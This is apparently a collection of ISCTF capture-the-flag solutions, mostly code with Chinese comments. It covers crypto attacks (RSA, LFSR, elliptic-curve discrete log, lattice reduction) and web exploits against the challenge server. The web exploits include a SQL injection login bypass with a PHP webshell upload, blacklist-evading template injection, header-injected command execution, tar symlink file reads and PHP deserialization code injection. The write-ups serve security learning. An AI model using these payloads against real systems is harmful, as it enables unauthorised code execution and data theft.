1
rom Crypto.Util.number import *
2
p = getPrime(1024)
3
q = getPrime(1024)
4
N = p*q
5
e = 65537
6

7
msg = bytes_to_long(b"ISCTF{dummy_flag}")
8
ct1 = pow(msg, e, N)
9
ct2 = pow(msg, p+q, N)
10
print(f"{N = }")
11
print(f"{ct1 = }")
12
print(f"{ct2 = }")
13

14
"""
15
n =
16
ct1 =
17
ct2 =
18
"""

1
import gmpy2
2
from Crypto.Util.number import long_to_bytes
3

4
n =
5
ct1 =
6
ct2 =
7
e = 65537
8
def solve():
9
    e1 = e
10
    e2 = N + 1
11
    g, s1, s2 = gmpy2.gcdext(e1, e2)
12
    if g != 1:
13
        print("[-] GCD is not 1, specific handling required.")
14
        return
15
    m = (pow(ct1, s1, N) * pow(ct2, s2, N)) % N
16
    flag = long_to_bytes(m)
17
    print(f"[+] Flag: {flag.decode(errors='ignore')}")
18

19
if __name__ == '__main__':
20
    solve()

1
from Crypto.Util.number import *
2
import random
3
from numpy import number
4

5
m = b'ISCTF{****************}'
6
flag = bytes_to_long(m)
7
n = getPrime(256)
8
t = getPrime(63)
9
l = pow(2,pow(2,t),n)
10
c = flag ^ l
11
print(t)
12
print(n)
13
print(c)
14

15

16
'''
17
t = 6039738711082505929
18
n = 107502945843251244337535082460697583639357473016005252008262865481138355040617
19
c = 114092817888610184061306568177474033648737936326143099257250807529088213565247
20
'''

1
import secrets
2
import binascii
3

4
def simple_lfsr_encrypt(plaintext, init_state):
5
    mask = [random.randint(0,1) for _ in range(128)]
6

7
    state = init_state.copy()
8
    for _ in range(256):
9
        feedback = sum(state[i] & mask[i] for i in range(128)) % 2
10
        state.append(feedback)
11

12
    key = bytes(int(''.join(str(bit) for bit in mask[i*8:(i+1)*8]), 2)
13
               for i in range(16))
14

15
    keystream = (key * (len(plaintext)//16 + 1))[:len(plaintext)]
16
    return bytes(p ^ k for p, k in zip(plaintext, keystream)), mask

1
from z3 import *
2
import binascii
3

4
initState =
5
outputState =
6
ciphertext_hex =
7

8
# 关键修正：拼接完整的 LFSR 流
9
stream = initState + outputState
10

11
# 2. Z3 求解 Mask
12
solver = Solver()
13
mask = [Int(f'm_{i}') for i in range(128)]
14

15
# 约束：Mask 只能是 0 或 1
16
for m in mask: solver.add(Or(m == 0, m == 1))
17

18
# 约束：根据完整流建立方程
19
# stream[i...i+127] * mask = stream[i+128]
20
for i in range(128):
21
    dot = Sum([mask[j] * stream[i + j] for j in range(128)])
22
    solver.add(dot % 2 == stream[i + 128])
23

24
# 3. 解密执行
25
if solver.check() == sat:
26
    m_vals = [solver.model()[m].as_long() for m in mask]
27
    print("[+] Mask found!")
28

29
    # 还原 Key
30
    key = bytes(int(''.join(str(b) for b in m_vals[i*8:(i+1)*8]), 2) for i in range(16))
31

32
    # 解密
33
    ct = binascii.unhexlify(ciphertext_hex)
34
    keystream = (key * (len(ct)//16 + 1))[:len(ct)]
35
    flag = bytes(c ^ k for c, k in zip(ct, keystream))
36

37
    print(f"[+] FLAG: {flag.decode(errors='ignore')}")
38
else:
39
    print("[-] No solution found.")

1
y² = x³ + 3x + 27 (mod p)
2

3
Q(0xa61ae2f42348f8b84e4b8271ee8ce3f19d7760330ef6a5f6ec992430dccdc167, 0x8a3ceb15b94ee7c6ce435147f31ca8028d1dd07a986711966980f7de20490080)
4

5
k= ?
6

7
最终flag请将解出k值的16进制转换为32位md5以ISCTF{}包裹提交

1
from sage.all import *
2
import hashlib
3

4
# secp256k1 参数
5
p = 0xfffffffffffffffffffffffffffffffffffffffffffffffffffffffefffffc2f
6
Gx = 0x79be667ef9dcbbac55a06295ce870b07029bfcdb2dce28d959f2815b16f81798
7
Gy = 0x483ada7726a3c4655da4fbfc0e1108a8fd17b448a68554199c47d08ffb10d4b8
8

9
# 题目给出的 Q
10
Qx = 0xa61ae2f42348f8b84e4b8271ee8ce3f19d7760330ef6a5f6ec992430dccdc167
11
Qy = 0x8a3ceb15b94ee7c6ce435147f31ca8028d1dd07a986711966980f7de20490080
12

13
a = 3
14

15
# 1. 计算实际的 b'
16
# 既然 Q = kG，那么它们必须在同一条曲线上。
17
# 我们用 G 来恢复这条曲线的 b 参数。
18
b_prime = (Gy**2 - (Gx**3 + a*Gx)) % p
19
print(f"Actual b: {b_prime}")
20

21
# 2. 构造实际曲线
22
E = EllipticCurve(GF(p), [a, b_prime])
23
G_point = E(Gx, Gy)
24
Q_point = E(Qx, Qy)
25

26
# 3. 计算阶并查看因子
27
order = E.order()
28
print(f"Curve Order: {order}")
29
print(f"Factors: {factor(order)}")
30

31
# 4. 求解 DLP
32
# 由于阶是光滑的，Sage 会自动使用 Pohlig-Hellman 算法
33
k = G_point.discrete_log(Q_point)
34
print(f"Found k: {k}")
35

36
# 5. 生成 Flag
37
# 将 k 值的 16 进制转换为 32 位 md5
38
k_hex = hex(k)[2:]
39
print(f"k (hex): {k_hex}")
40

41
flag_hash = hashlib.md5(k_hex.encode()).hexdigest()
42
print(f"Flag: ISCTF{{{flag_hash}}}")

1
from Crypto.Util.number import bytes_to_long
2

3
print(len(flag))
4
R = RealField(1000)
5
a,b = bytes_to_long(flag[:len(flag)//2]),bytes_to_long(flag[len(flag)//2:])
6
x   = R(0.75872961153339387563860550178464795474547887323678173252494265684893323654606628651427151866818730100357590296863274236719073684620030717141521941211167282170567424114270941542016135979438271439047194028943997508126389603529160316379547558098144713802870753946485296790294770557302303874143106908193100)
7
enc = a*cos(x)+b*sin(x)
8
#1.24839978408728580181183027675785982784764821592156892598136000363397267152291738689909414790691435938223032351375697399608345468567445269769342300325192248438038963977207296241971217955178443170598629648414706345216797043374408541203167719396818925953801387623884200901703606288664141375049626635852e52

1
from sage.all import *
2
from Crypto.Util.number import long_to_bytes
3

4
# 题目给出的数据
5
x_val_str = "0.75872961153339387563860550178464795474547887323678173252494265684893323654606628651427151866818730100357590296863274236719073684620030717141521941211167282170567424114270941542016135979438271439047194028943997508126389603529160316379547558098144713802870753946485296790294770557302303874143106908193100"
6
enc_val_str = "1.24839978408728580181183027675785982784764821592156892598136000363397267152291738689909414790691435938223032351375697399608345468567445269769342300325192248438038963977207296241971217955178443170598629648414706345216797043374408541203167719396818925953801387623884200901703606288664141375049626635852e52"
7

8
# 设置高精度环境
9
R = RealField(2000)
10
x = R(x_val_str)
11
enc = R(enc_val_str)
12

13
# 构造格
14
# 这里的 K 需要根据 enc 的精度进行调整。
15
# enc 大约有 300 位，但有效精度受到最后一位的限制。
16
# 我们选择 10^260 作为缩放因子。
17
K = 10**260
18

19
M = Matrix(ZZ, [
20
    [1, 0, floor(K * cos(x))],
21
    [0, 1, floor(K * sin(x))],
22
    [0, 0, floor(K * enc)]
23
])
24

25
# 使用 LLL 算法进行格基规约，并获取变换矩阵
26
# 变换矩阵 U 告诉我们基向量是如何组合的
27
B, U = M.LLL(transformation=True)
28

29
# 寻找解
30
# 我们寻找的是 a*v1 + b*v2 - 1*v3 (或 +1*v3) 的组合
31
# 所以我们检查变换矩阵 U 的每一行，看哪一行的第三个系数是 1 或 -1
32
for i, u_row in enumerate(U):
33
    if abs(u_row[2]) == 1:
34
        # 对应的第一列和第二列就是 a 和 b
35
        a_cand = abs(int(B[i][0]))
36
        b_cand = abs(int(B[i][1]))
37

38
        try:
39
            part1 = long_to_bytes(a_cand)
40
            part2 = long_to_bytes(b_cand)
41
            full_flag = part1 + part2
42
            if b'flag' in full_flag or b'ISCTF' in full_flag:
43
                print(f"Found Flag: {full_flag.decode()}")
44
        except Exception as e:
45
            pass

1
c = (m**3 + a2*m**2 + a1*m + a0) % N

1
a2_high = a2 >> LOW_BITS   # LOW_BITS = 16
2
a2_high = 9012778

1
m1 = 155455820692697783953491152103673434341
2
m2 = 155455820692697783953491152103673412496
3
m1 - m2 = 21845  # = 0x5555

1
m  = 155455820692697783953491152103673430935
2
a2 = 590661429227

1
m**3 + a2*m**2 + a1*m + a0 == c  # True

1
key = m.to_bytes(16, 'big')
2
# key = b't\xf3\xb3\xb6\xef\xafcO\x06\xd6V\xa3\xf5\xc8\x03\x97'

1
cipher = AES.new(key, AES.MODE_CBC, iv=iv)
2
pt_padded = cipher.decrypt(ct)
3
pt = unpad(pt_padded, 16)
4
# b'ISCTF{i7_533M5_Lik3_You_R34lLy_UNd3R574nd_Polinomials_4nD_RSA}'

1
@app.route('/operate',methods=['GET'])
2
def operate():
3
    username=request.args.get('username')
4
    password=request.args.get('password')
5
    confirm_password=request.args.get('confirm_password')
6
    # 关键点：如果 username 在 globals() 全局变量中，就使用
7
    pydash.set_ 修改其属性
8
    if username in globals() and "old" not in password:
9
        Username=globals()[username]
10
        try:
11
            pydash.set_(Username,password,confirm_password)
12
            return "oprate success"
13
        except:
14
            return "oprate failed"

1
@app.route('/impression',methods=['GET'])
2
def impression():
3
    point=request.args.get('point')
4
    # 限制长度不能超过5
5
    if len(point) > 5:
6
        return "Invalid request"
7
    # 过滤了特殊字符，无法使用目录穿越 ../ 或 /
8
    List=["{","}",".","%","<",">","_"]
9
    for i in point:
10
        if i in List:
11
            return "Invalid request"
12
    return render_template(point)

1
GET /robots.txt HTTP/1.1
2
Host: challenge.bluesharkinfo.com:24038

1
User-agent: *
2
Disallow: /admin/login.php

1
<h2>📤 上传 PHP Webshell</h2>
2
<form method="POST" enctype="multipart/form-data">
3
...

1
import requests
2

3
url_login = "http://challenge.bluesharkinfo.com:24038/admin/login.php"
4
url_upload = "http://challenge.bluesharkinfo.com:24038/upload.php"
5

6
s = requests.Session()
7
# 1. 登录绕过
8
s.post(url_login, data={"username": "admin", "password": "1' OR '1'='1"})
9

10
# 2. 上传 Webshell
11
files = {"shell": ("cmd.php", "<?php system($_GET['c']); ?>", "application/x-php")}
12
s.post(url_upload, files=files)

1
// 接收表单数据
2
extract($_POST);
3
// ...
4
// 获取文件名
5
$imageName=$_FILES['img']['name'];
6
// ...
7
// 创建目录并移动上传的文件
8
mkdir("images/$e");
9
move_uploaded_file($_FILES['img']['tmp_name'],"images/$e/".$_FILES['img']['name']);

1
BLACKLIST = ["b","c","d","e","h","i","j","k","m","n","o","p","q","r","s","t","u","v","w","x","y","z","%",";",",","<",">",":","?"]

1
{{ __ᵢᵐᵖºʳᵗ__(ᶜʰʳ(111)+ᶜʰʳ(115)).ᵖºᵖᵉⁿ(ᶜʰʳ(99)+ᶜʰʳ(97)+ᶜʰʳ(116)+ᶜʰʳ(32)+ᶜʰʳ(47)+ᶜʰʳ(102)+ᶜʰʳ(108)+ᶜʰʳ(97)+ᶜʰʳ(103)).ʳᵉaᵈ() }}

1
def to_fullwidth(char):
2
    # ASCII 字符偏移量 0xFEE0 得到全角字符
3
    return chr(ord(char) + 0xFEE0)

1
{{ __ｉｍｐｏｒｔ__(ｃｈｒ(111)+ｃｈｒ(115)).ｐｏｐｅｎ(ｃｈｒ(99)+ｃｈｒ(97)+ｃｈｒ(116)+ｃｈｒ(32)+ｃｈｒ(47)+ｃｈｒ(102)+ｃｈｒ(108)+ｃｈｒ(97)+ｃｈｒ(103)).ｒｅaｄ() }}

1
import zipfile
2

3
def create_fullwidth_payload():
4
    # 黑名单字符集
5
    blacklist = set(["b","c","d","e","h","i","j","k","m","n","o","p","q","r","s","t","u","v","w","x","y","z"])
6

7
    def bypass_id(s):
8
        res = ""
9
        for char in s:
10
            if char in blacklist:
11
                # 转换为全角字符: ASCII + 0xFEE0
12
                res += chr(ord(char) + 0xFEE0)
13
            else:
14
                res += char
15
        return res
16

17
    # 1. 处理函数名
18
    func_chr = bypass_id("chr")           # -> ｃｈｒ
19
    func_import = bypass_id("__import__") # -> __ｉｍｐｏｒｔ__
20
    func_popen = bypass_id("popen")       # -> ｐｏｐｅｎ
21
    func_read = bypass_id("read")         # -> ｒｅaｄ
22

23
    # 2. 构造参数字符串 'os' 和 'cat /flag'
24
    # 使用 chr() 拼接，避免直接出现字符
25
    def make_str(s):
26
        return "+".join([f"{func_chr}({ord(c)})" for c in s])
27

28
    str_os = make_str("os")
29
    str_cmd = make_str("cat /flag")
30

31
    # 3. 组合 Payload
32
    payload = f"{{{{ {func_import}({str_os}).{func_popen}({str_cmd}).{func_read}() }}}}"
33
    print("Payload:", payload)
34

35
    # 4. 写入文件
36
    with zipfile.ZipFile('exp.zip', 'w') as zf:
37
        zf.writestr('exp.txt', payload.encode('utf-8'))
38

39
if __name__ == '__main__':
40
    create_fullwidth_payload()

1
import unicodedata
2

3
def search_variants(target_chars):
4
    """
5
    Search for Unicode characters that normalize to the target characters
6
    but are NOT the target characters themselves.
7
    """
8
    found = {char: [] for char in target_chars}
9

10
    print(f"[*] Searching for variants for: {', '.join(target_chars)}")
11

12
    # Scan Basic Multilingual Plane (BMP) and a bit more
13
    for code in range(0x1FFFF):
14
        char = chr(code)
15
        try:
16
            # NFKC is what Python uses for identifier normalization
17
            norm = unicodedata.normalize('NFKC', char)
18
        except:
19
            continue
20

21
        if norm in target_chars and char != norm:
22
            # Check if it's a valid identifier part in Python
23
            if char.isidentifier():
24
                found[norm].append(char)
25

26
    print("\n[+] Found Variants (Valid Identifiers):")
27
    for char in target_chars:
28
        variants = found[char]
29
        if variants:
30
            # Sort by length of representation to find simple ones
31
            # Pick top 5
32
            display_vars = variants[:5]
33
            var_str = ", ".join([f"{v} (U+{ord(v):04X})" for v in display_vars])
34
            print(f"  '{char}' -> {var_str}")
35
        else:
36
            print(f"  '{char}' -> [!] No valid identifier variants found")
37

38
if __name__ == '__main__':
39
    # The blacklist from the CTF challenge
40
    blacklist = ["b","c","d","e","h","i","j","k","m","n","o","p","q","r","s","t","u","v","w","x","y","z"]
41
    search_variants(blacklist)

1
if (preg_match('/^[A-Za-z\(\)_;]+$/',
2
$code)) {
3
    eval($code);
4
}

1
import requests
2
import re
3

4
url = "http://challenge.bluesharkinfo.com:21131/"
5

6
def get_flag():
7
    # 1. 构造符合正则 /^[A-Za-z\(\)_;]+$/ 的 PHP Payload
8
    #    system(implode(getallheaders())); 会将所有 HTTP 头的值拼接入 system() 执行
9
    payload = "system(implode(getallheaders()));"
10

11
    # 2. 在 HTTP 头中注入 Shell 命令
12
    #    'cat /flag' 是我们要执行的命令
13
    #    '; #' 用于结束命令并注释掉后续拼接进来的其他 HTTP 头（如 User-Agent 等）
14
    #    'A-Cmd' 是自定义头名，首字母 A 是为了尽量让它在 implode 拼接时靠前（视服务器排序策略而定）
15
    headers = {
16
        'A-Cmd': 'cat /flag; #',
17
        'User-Agent': 'Exploit/1.0' # 其他头会被 # 注释掉
18
    }
19

20
    print(f"[*] Sending payload to {url}...")
21
    try:
22
        response = requests.get(url, params={'code': payload}, headers=headers)
23

24
        # 使用正则提取 Flag
25
        flag_match = re.search(r'ISCTF\{[^}]+\}', response.text)
26
        if flag_match:
27
            print(f"[+] Flag found: {flag_match.group(0)}")
28
        else:
29
            print("[-] Flag not found. Response snippet:")
30
            print(response.text[:200])
31

32
    except Exception as e:
33
        print(f"[!] Error: {e}")
34

35
if __name__ == "__main__":
36
    get_flag()

1
import tarfile
2

3
def make_tar(filename):
4
    with tarfile.open(filename, "w") as
5
    tar:
6
        # 创建一个名为 link_flag.txt 的文件
7
        # 类型设置为符号链接 (SYMTYPE)
8
        # 链接指向服务器根目录下的 /flag
9
        info = tarfile.TarInfo("link_flag.
10
        txt")
11
        info.type = tarfile.SYMTYPE
12
        info.linkname = "/flag"
13
        tar.addfile(info)
14

15
        # 顺便读取一下源码 app.py
16
        info_app = tarfile.TarInfo
17
        ("link_app.txt")
18
        info_app.type = tarfile.SYMTYPE
19
        info_app.linkname = "../app.py"
20
        # 猜测源码在上一级目录
21
        tar.addfile(info_app)
22

23
make_tar("exploit.tar")
24
print("Payload exploit.tar 生成成功！")

1
class FLAG
2
{
3
    private $a;
4
    protected $b;
5
    // ...
6
    public function __destruct(){
7
        $a = (string)$this->a;
8
        $b = (string)$this->b;
9
        if ($this->check($a,$b)){
10
            $a("", $b);
11
        }
12
        else{
13
            echo "Try again!";
14
        }
15
    }
16
    private function check($a, $b) {
17
        // 黑名单过滤
18
        $blocked_a = ['eval', 'dl', 'ls', 'p',
19
        'escape', 'er', 'str', 'cat', 'flag', 'file',
20
        'ay', 'or', 'ftp', 'dict', '\.\.', 'h', 'w',
21
        'exec', 's', 'open'];
22
        $blocked_b = ['find', 'filter', 'c', 'pa',
23
        'proc', 'dir', 'regexp', 'n', 'alter',
24
        'load', 'grep', 'o', 'file', 't', 'w',
25
        'insert', 'sort', 'h', 'sy', '\.\.', 'array',
26
        'sh', 'touch', 'e', 'php', 'f'];
27
        // ... 正则匹配 ...
28
    }
29
}

1
function __lambda_func() { } original_payload; /* }

1
}var_dump(`dd < /[a-z]lag`);/*

1
<?php
2
class FLAG
3
{
4
    private $a;
5
    protected $b;
6
    public function __construct($a, $b)
7
    {
8
        $this->a = $a;
9
        $this->b = $b;
10
    }
11
}
12

13
// 1. Check file details (is it a file? size?)
14
// ls -l /[a-z]lag*
15
$p1 = new FLAG('create_function', '}var_dump(`ls -l /[a-z]lag*`);/*');
16
echo "Payload 1 (ls -l):\n" . urlencode(serialize($p1)) . "\n\n";
17

18
// 2. Move to web root (assuming writable)
19
// mv /[a-z]lag* x
20
// Then user can access /x
21
$p2 = new FLAG('create_function', '}var_dump(`mv /[a-z]lag* x`);/*');
22
echo "Payload 2 (mv to x):\n" . urlencode(serialize($p2)) . "\n\n";
23

24
// 3. xxd (Hex dump)
25
// xxd /[a-z]lag*
26
$p3 = new FLAG('create_function', '}var_dump(`xxd /[a-z]lag*`);/*');
27
echo "Payload 3 (xxd):\n" . urlencode(serialize($p3)) . "\n\n";
28

29
// 4. xargs (Echo content)
30
// xargs -a /[a-z]lag*
31
$p4 = new FLAG('create_function', '}var_dump(`xargs -a /[a-z]lag*`);/*');
32
echo "Payload 4 (xargs):\n" . urlencode(serialize($p4)) . "\n\n";